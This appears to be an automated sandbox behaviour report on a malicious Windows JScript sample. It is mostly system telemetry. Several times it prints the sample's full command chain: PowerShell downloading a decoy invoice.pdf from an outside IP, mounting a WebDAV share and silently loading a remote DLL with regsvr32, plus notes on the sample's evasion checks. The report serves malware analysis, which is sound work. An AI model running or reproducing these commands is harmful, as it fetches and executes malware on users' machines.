Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7413.js.csv");ITextStream.WriteLine(" entry:7715 f:pamrppug");ITextStream.WriteLine(" exec:2 f:pamrppug");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5125			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4476			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2788	Thread sleep count: 5125 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 320	Thread sleep count: 4476 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2276	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3472	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5908	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6488	Thread sleep time: -3689348814741908s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 2072	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7228	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.2155491697.000001F03BBE8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWPP
Source: net.exe, 00000007.00000003.2142009487.000001F03BC50000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2155697725.000001F03BC50000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2154055108.000001F03BC50000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3354397896.0000020115E58000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3352450647.000002011082B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\171681741013403.dll	Jump to behavior
